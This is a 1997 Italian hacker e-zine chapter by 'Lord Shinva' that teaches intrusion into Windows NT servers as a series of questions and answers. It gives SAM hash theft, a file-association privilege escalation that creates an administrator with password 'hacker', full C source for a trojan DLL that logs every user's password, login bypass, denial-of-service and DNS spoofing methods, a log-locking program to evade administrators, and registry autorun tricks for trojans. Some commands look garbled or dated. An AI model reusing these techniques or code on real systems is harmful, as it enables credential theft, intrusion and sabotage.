Lord Shinva
-DiGiTAL::ALLiANCE-
C : 0 . N : F . E : D . E : R . A : T . i : 0 . N
 Enciclopedia dell' Hacking
Volume 12
 
 

HACKING AVANZATO DI WINDOWS NT
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Dal momento che ci stiamo accingendo ad esplorare Windows NT, mi aspetto che
conosciate gia` il funzionamento dei Registry di Windows, in quanto una loro
trattazione esula dall'hacking ed e` comunque reperibile sia in libreria che
su Internet.

Mi limitero` quindi a ricordare solo le basi della sicurezza in Windows NT:

LSA (Local Security Authority, ovvero Autorit… di Sicurezza Locale)
E` conosciuto anche con il nome di Security Subsystem (Sottosistema di
Sicurezza).  E` il componente centrale della sicurezza NT ed Š preposto
all'autenticazione degli utenti e all'audit (logging).

SAM (Security Account Manager, ovvero Manager di Sicurezza degli Account)
Fornisce autenticazione al LSA e controlla i gli account per gruppi e utenti.

SRM (Security Reference Monitor, ovvero Monitor della Referenza di Sicurezza)
Controlla gli account ogniqualvolta un utente cerca di accedere a un file o
directory e gli da o nega il permesso in base ai suoi privilegi d'accesso, e
comunica le infrazioni al LSA tramite messaggi di audit.

UI (User Interface, ovvero Interfaccia Utente)
E` in pratica quello che l'utente vede, cioe` l'interfaccia con la quale egli
interagisce e che comunica in modo invisibile con gli elementi appena visti.

ACL (Access Control List, ovvero Lista di Controllo dell'Accesso)
Ogni utente ha una ACL che rappresenta i suoi permessi e privilegi in fatto
di directory, file, ecc.

L'autenticazione degli utenti funziona nel modo seguente: l'utente effettua
il login, NT crea un token che rappresenta quell'utente e associa al token i
privilegi che trova nella sua ACL, e agisce in base ad essi.

Procederemo ora per quesiti, in modo da rendere piu` agevole la lettura.

QUESITO 1: Quali sono i permessi di default?

Questi sono i permessi per gli utenti di default:

- Server Operators:  spegnimento, anche da remoto; reset dell'orologio di
                     sistema; backup e restore.
- Backup Operators:  spegnimento; backup e restore.
- Account Operators: spegnimento.
- Print Operators:   spegnimento.

Questi sono i permessi per le directory di Windows NT:

\(root), \SYSTEM32, \WIN32APP
Server Operator e Everyone possono leggere ed eseguire file, mostrare i
permessi e cambiare gli attributi dei file.

\SYSTEM32\CONFIG
Everyone puo` effettuare una DIR in questa directory.

\SYSTEM32\DRIVERS, \SYSTEM\REPL
Server Operator ha accesso completo. Everyone ha solo accesso in lettura.

\SYSTEM32\SPOOL
Server Operator e Print Operator hanno accesso completo. Everyone ha solo
accesso in lettura.

\SYSTEM32\REPL\EXPORT
Server Operator puo` leggere ed eseguire file, permessi e attributi.
Replicator ha solo accesso in lettura.

\SYSTEM32\REPL\IMPORT
Server Operator e Replicator possono leggere ed eseguire file, permessi e
attributi. Everyone ha accesso in lettura.

\USERS
Account Operator puo` leggere, scrivere, cancellare ed eseguire file.
Everyone puo` effettuare una DIR.

\USERS\DEFAULT
Everyone pu• leggere, scrivere ed eseguire file.
 

QUESITO 2: Qual'e` l'account pi— interessante?

Sicuramente l'account dell'amministratore (SysAdmin), ma potrebbe essere
stato rinominato... in tal caso, basta eseguire "NBTSTAT -A ipaddress" per
conoscere il nuovo nome dell'account e opzionalmente anche un elenco completo
di quali servizi sono in funzione, il nodename e l'eventuale indirizzo
hardware dell'ethernet (in caso di LAN).

QUESITO 3: Dove si trovano le password in Windows NT?

Da nessuna parte.  Windows NT (come anche UNIX) non immagazzina le password,
ma bensi` un hash (valore numerico calcolato in base alla password, dal quale
non si puo` risalire alla stringa originale, in quanto e` solo un numero).

Per crackare gli hash si puo` utilizzare il programma PWDUMP (lo potete
trovare sui siti hacker) e comunque si tratta di un attacco basato su
dizionari, quindi di tipo "brute force" (forza bruta).

Quindi, dicevamo, la domanda giusta sarebbe: "dov'e` l'elenco degli hash?"

La risposta e`: nella directory \WINNT\SYSTEM32\CONFIG c'e` un file chiamato
SAM.  E` questo il database che cerchiamo. E` leggibile da tutti gli utenti
(a meno che quel simpaticone del SysAdmin non ci abbia messo lo zampino), ma
comunque non si puo` leggere in quanto bloccato (via sharing) perche` e` in
uso dai componenti di sistema di NT.  A questo punto il SysAdmin giubila ed
esulta, ma l'hacker sa dell'esistenza di SAM.SAV che Š il backup di SAM...

Inoltre, durante l'installazione di NT, una copia del SAM viene posta in
\WINNT\REPAIR.  Quasi sicuramente troveremo solo gli account Administrator e
Guest, ma credo che Administrator (SysAdmin) sia abbastanza...

A proposito del SAM... se siete completamente pazzi potete anche mettere le vostre manacce nelle keys del SAM.  Per esempio, schedulando il servizio di logon come LocalSystem e permettendogli di interagire con il desktop, e poi schedulando una sessione interattiva di regedt32.exe (come LocalSystem) con il quale manipolare le keys.  Ovviamente se non sapete a cosa serve tutto questo sar… meglio non toccare niente, altrimenti saranno guai grossi...

QUESITO 4: Come accedere al file system se e` di tipo NTFS anziche` FAT ?

Se siete vicini alla macchina (cioe` in locale), effettuate un boot tramite
un dischetto MS-DOS ed eseguite NTFSDOS.EXE per accedere al NTFS.  Oppure
potete utilizzare il dischetto di boot di Linux... in pratica basta
semplicemente eseguire Linux.  Pu• sembrare strano, ma cio` vi dara` accesso
totale al file system in quanto Linux puo` leggere NTFS.

QUESITO 5: Sono vicino alla console locale, come accedo alle informazioni
           degli altri computer?

Se il computer sul quale vi trovate e` un domain controller (oppure se e`
collegato al computer) bastera` fare quanto segue:

1.  Da USER MANAGER, create una trusting relationship (rapporto di fiducia)
    con l'obiettivo.
2.  Inserite la password (quello che volete).  Sembrera` non funzionare, ma
    l'obiettivo sar… ora nella vostra trusting list.
3.  Avviate NT Explorer e cliccate col tasto destro del mouse su qualsiasi
    cartella.
4.  Selezionate SHARING (condivisione).
5.  Dalla finestra SHARED, selezionate ADD ("aggiungi", se NT Š in italiano).
6.  Dal menu ADD, selezionate il vostro obiettivo (il server "vittima").
7.  Ora vedrete l'intera lista dei gruppi dell'obiettivo.
8.  Selezionate SHOW USERS e vedrete l'intera lista utenti, completa di nomi
    dei file, directory e descrizioni...

QUESITO 6: Ho accesso Administrator, come accedere alla lista degli utenti?

Ah ci siete riusciti, bene bene... ;)  Usate questo metodo:

- Eseguite NBTSTAT -A ipaddress
- Aggiungete il nome che otterrete al file LMHOSTS
- Se la versione di NT Š inferiore alla 4, digitate NBTSTAT -R per effettuare
  il refresh dei nomi del NetBios
- Eseguite NET VIEW \\nomemacchina per vedere gli shares ("condivisioni")
- Eseguite DIR \\nomemacchina\share per listare gli shares (se aperti)
- Eseguite NET VIEW \\ipaddress oppure NET VIEW \\nome.completo.com se usate
  Windows NT 4.0

QUESITO 7: Ho accesso Guest... come faccio ad avere accesso Administrator?

NT 3.51 ha varie directory (e file) leggibili e scrivibili da tutti gli
utenti per default.  Potete editare le associazioni tra un'applicazione e i
file dati, usando REGEDT32.EXE, ma prima dovete creare (e compilare)
un'applicazione per Win32 (magari in Delphi o C++ a 32-bit) che si limiti ad
eseguire i seguenti comandi e nient'altro:

        net  user  administrator  hacker  /y
        notepad  %1  %2  %3  %4  %5

Inviate (tramite upload) questa "applicazione" in una share (directory di
condivisione) a cui avete accesso e cambiate l'associazione tra i file .txt e
notepad in modo che punti alla locazione completa del vostro file (ad esempio
\\NomeWorkstation\RWShare\hahaha.exe).

Non appena un file di testo verra` visualizzato da qualcuno sul server,
quell'associazione verra` eseguita e sara` attivato l'user Administrator con
password "hacker", alla faccia del SysAdmin...

Per questo motivo, se io fossi il SysAdmin eliminerei il permesso Everyone
dalla chiave HKEY_CLASSES_ROOT dei registry, dando l'accesso completo solo a
Creator e Owner.

QUESITO 8: La SYSTEM32 nella directory di sistema di NT Š scrivibile, cosa
           si potrebbe fare?

Se il sistema e` un Windows NT versione 4.0 la risposta e`: molte cose... :)
Basta creare un troiano sotto forma di DLL e rinominarlo FPNWCLNT.DLL e
quindi metterlo in quella directory.  Ad esempio, utilizzando questo troiano
scritto in C++ troverete nella directory \TEMP del server tutti gli username
e password di tutti gli utenti che accedono al sistema...

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

struct UNI_STRING {
  USHORT len;
  USHORT maxlen;
  WCHAR *buff;
  };

static HANDLE fh;

BOOLEAN __stdcall InitializeChangeNotify ()
{
  DWORD wrote;
  fh = CreateFile("C:\\temp\\shinva.txt", GENERIC_WRITE,
    FILE_SHARE_READ|FILE_SHARE_WRITE, 0, CREATE_ALWAYS,
    FILE_ATTRIBUTE_NORMAL|FILE_FLAG_WRITE_THROUGH,
    0);
  WriteFile(fh, "Procedura InitializeChangeNotify avviata\n", 31, &wrote, 0);
  return TRUE;
}

LONG __stdcall PasswordChangeNotify (struct UNI_STRING *user, ULONG rid,
  struct UNI_STRING *passwd)
{
  DWORD wrote;
  WCHAR wbuf[200];
  char buf[512];
  char buf1[200];
  DWORD len;

  memcpy(wbuf, user->buff, user->len);
  len = user->len/sizeof(WCHAR);
  wbuf[len] = 0;
  wcstombs(buf1, wbuf, 199);
  sprintf(buf, "User = %s : ", buf1);
  WriteFile(fh, buf, strlen(buf), &wrote, 0);

  memcpy(wbuf, passwd->buff, passwd->len);
  len = passwd->len/sizeof(WCHAR);
  wbuf[len] = 0;
  wcstombs(buf1, wbuf, 199);
  sprintf(buf, "Password = %s : ", buf1);
  WriteFile(fh, buf, strlen(buf), &wrote, 0);
  sprintf(buf, "RID = %x\n", rid);
  WriteFile(fh, buf, strlen(buf), &wrote, 0);
  return 0L;
}

Quando analizzate il vostro "log file" controllate se ci sono username con
SID pari a -500 (SysAdmin).  Guest ha SID pari a -501.
Ovviamente bisognera` riavviare il server dopo aver inviato la DLL, per
farla attivare.

QUESITO 9: Mi trovo con la schermata di login di NT (quella che esce premendo
           CTRL-ALT-DEL), come faccio per bypassarla?

Ecco qui di seguito spiegata la procedura per liberarsi dello screen-saver
(funziona solo con NT inferiore alla versione 4.0).

Basta entrare come Administrator e verra` mostrato lo schermo del desktop per
alcuni secondi.  Utilizzando il mouse (prima che lo schermo desktop non sia
piu` accessibile) si possono effettuare modifiche, spostamenti, ecc.
Se cio` non dovesse accadere perche` e` stato installato il Service Pack
(sulla 3.x) c'e` ancora una speranza: bisognera` andare su un'altra
workstation e digitare "shutdown \\nomecomputer /t:30" in modo che venga
attivato uno shutdown (spegnimento) entro 30 secondi sul computer "vittima"
e appaia una Security Window.  A questo punto si potra` digitare il comando
"shutdown \\nomecomputer /a" in modo che lo shutdown venga annullato.
Andando sul computer "vittima" e muovendo il mouse lo schermo si cancellera`
e potremo premere CTRL-ALT-DEL per far apparire di nuovo la Security Window.
Si scelga "cancel" e si avra` immediatamente accesso al Program Manager!

QUESITO 10: Come faccio a sapere da remoto se si tratta di NT o 95 ?

In genere e` usanza dei Webmaster scrivere nelle pagine Web "Noi usiamo
Windows NT" o qualcosa del genere, ma nella maggioranza dei casi ci
limiteremo a controllare che la porta 135 sia aperta (tramite un port
scanner o una semplice connessione via Telnet).
A questo punto bastera` dare un'occhiata ai registry: se
HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT esiste, saremo sicuri che non
si tratti di Windows 95.
Infine, uno sguardo alla key \CurrentVersion\CurrentVersion ci permettera` di
capire di quale versione si tratta.
In alternativa, si puo` controllare l'esistenza delle porte del NetBios (137
e 139) e dei servizi SMB.

QUESITO 11: Come faccio ad utilizzare il modo di trasferimento passivo sul
            server FTP se non e` attivo?

Se il server FTP utilizzato e` quello di default (Microsoft), bastera`
editare una key dei registry di Windows NT:

   System\CurrentControlSet\Services\MSFTPSVC\Parameters
   chiave:  EnablePortAttack,REG_DWORD

e abilitarla settandola a 1.

QUESITO 12: Come trashare un sistema che utilizza NT ?

Se lasciamo perdere i metodi "tradizionali" (lavorando sui file), eccone
alcuni "alternativi" da far gustare al SysAdmin...

Aprendo una connessione Telnet alla porta 53 del server e digitando una
decina di caratteri a caso seguiti da invio, bloccheremo il DNS del server
fino al riavvio del sistema... niente piu` host name, solo IP address!

Oppure magari vogliamo trasformare il suo Pentium II 233 Mhz in uno 8086 8
Mhz?  Niente di piu` facile, basta collegarsi via Telnet (come sopra) alla
porta 135.  Se la porta risponde, facendo come nel caso del DNS, avremo
rallentato del 100% la velocit… della CPU...

E se poi il SysAdmin utilizza IIS Microsoft come Web server, una connessione
alla porta 1031 gli fara` passare la voglia di usare i programmi di Bill
Gates.  Oppure possiamo collegarci alla porta 80 e inviare "GET ../.." per
crashare il tutto...

Per causare un riavvio improvviso del sistema o un crash (solo con NT
inferiore alla versione 4.0 e NT senza Hotfix) si puo` utilizzare una tecnica
conosciuta con il nome di "Ping of Death".  Si tratta di inviare un pacchetto
ICMP enorme.  Ecco cosa succedera`: il server ricevera` il pacchetto in forma
frammentata, quindi sotto forma di moltissimi piccoli pacchetti.  Quando
tentera` di riassemblarli, si avr… un buffer overflow e potranno accadere le
cose piu` disparate.  Da Windows 95 e Windows NT basta digitare:

   ping -165527 -s 1 nomevittima

L'attacco del SYN flood (o del FIN flood) implica un invio di una quantita`
enorme di pacchetti forgiati con un IP address sorgente non esistente.
Windows NT e` vulnerabile fino alla versione 4.0 senza Hotfix.

Infine, ad un piu` alto livello, inviando ad un server NT 4.0 un semplice
pacchetto DNS di risposta (senza che il server lo abbia richiesto), DNS
crashera`.

Con il comando smbmount su Linux 2.0.28+ si puo` inoltre causare un crash con
errore di protezione su un server, eseguendo il comando:

   smbmount //vittima/servizio /mnt -U nomeclient

Se il file ROLLBACK.EXE e` presente sul server (o se ce lo mettiamo noi...)
possiamo eseguirlo e goderci lo spettacolo: i Registry verranno completamente
azzerati.  Inoltre, se blocchiamo una porta (ad esempio la 19, detta chargen)
il server eseguira` automaticamente ROLLBACK per cercare di risolvere il
problema...

Per chi poi conosce a fondo hacking e spoofing, la cosa piu` divertente resta
la forgiatura dei pacchetti DNS (di tipo UDP).
Effettuando una richiesta DNS e utilizzando uno sniffer per intercettare i
pacchetti di risposta e catturare i numeri ID di riposta DNS e` possibile
inviare falsi pacchetti DNS a un server in modo che chiunque chieda il suo
IP address la risposta sia quella che desideriamo.  In pratica, chiunque si
colleghera` a quel server si colleghera` in pratica al server che vogliamo
noi, dato dall'IP address che abbiamo inviato nel pacchetto "forgiato".

Con questo metodo, applicato ad altri servizi, e` possibile fare copie di
tutte le email che transitano sul sistema, inibire l'accesso ai servizi,
re-routing, e molto altro ancora.

QUESITO 13: Come impedire a chiunque, anche al SysAdmin, di accedere a uno o
            piu` file?

Ad esempio con questo programmino in C si puo` bloccare un file per quanto
tempo si desidera, passando (al programma) il nome del file da bloccare:

#include <windows.h>
    void main(int ac, char *av[])
    {
      HANDLE fp;
      fp = CreateFile(av[1], FILE_READ_DATA, 0, 0, OPEN_EXISTING, 0, 0);
      if (fp == INVALID_HANDLE_VALUE)
        exit(GetLastError());
      Sleep(60000)     {  tempo di bloccaggio espresso in: secondi * 1000  }
      exit(0);
    }

A che puo` servire bloccare un file?  Beh, ad esempio, se blocchiamo un file
di log per un'ora e hackeriamo il server per un'ora, il SysAdmin non ne
sapra` mai niente...

QUESITO 14: Cos'altro si puo` fare con i Registry?

Troppo lungo da spiegare... come dico sempre, basta usare la fantasia...
Comunque ci sono un paio di cosette ancora.  Ad esempio, per effettuare il
logging del PPP basta selezionare...

HKEY_LOCAL_MACHINE\CurrentControlSet\Services\RasMan\PPP
    valore = Logging
    valore = REG_DWORD
   valore = 1  (settare questo valore)

mentre per abilitare quello della seriale basta selezionare Parameters
(anziche` PPP) come ultimo valore della key.

Una cosa molto utile e` la possibilita` di eseguire le applicazioni che
abbiamo inviato (troiani, ad esempio) e per farlo possiamo modificare una di
queste due keys...

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VXD

aggiungendo una nuova key di tipo StaticVxd e inserendo il percorso completo
dell'applicazione, oppure...

HKEY_LOCAL_MACHINE\\Software\Classes\txtfile\shell\open\command

per sfruttare il metodo delle associazioni (file di testo, in questo caso)
per eseguire la nostra applicazione.

Il vantaggio della prima key e` che l'applicazione verra` eseguita a Ring-0
(quindi con accesso completo sul sistema operativo e sulle sue risorse, anche
a basso livello, su memoria, disco rigido, ecc).

Buon hacking con NT...
 
 

                           Copyright (C) 1997 by

                             :: LoRD SHiNVA ::

                      -Digital Alliance Confederation-

 
 VAI AL VOLUME 13 1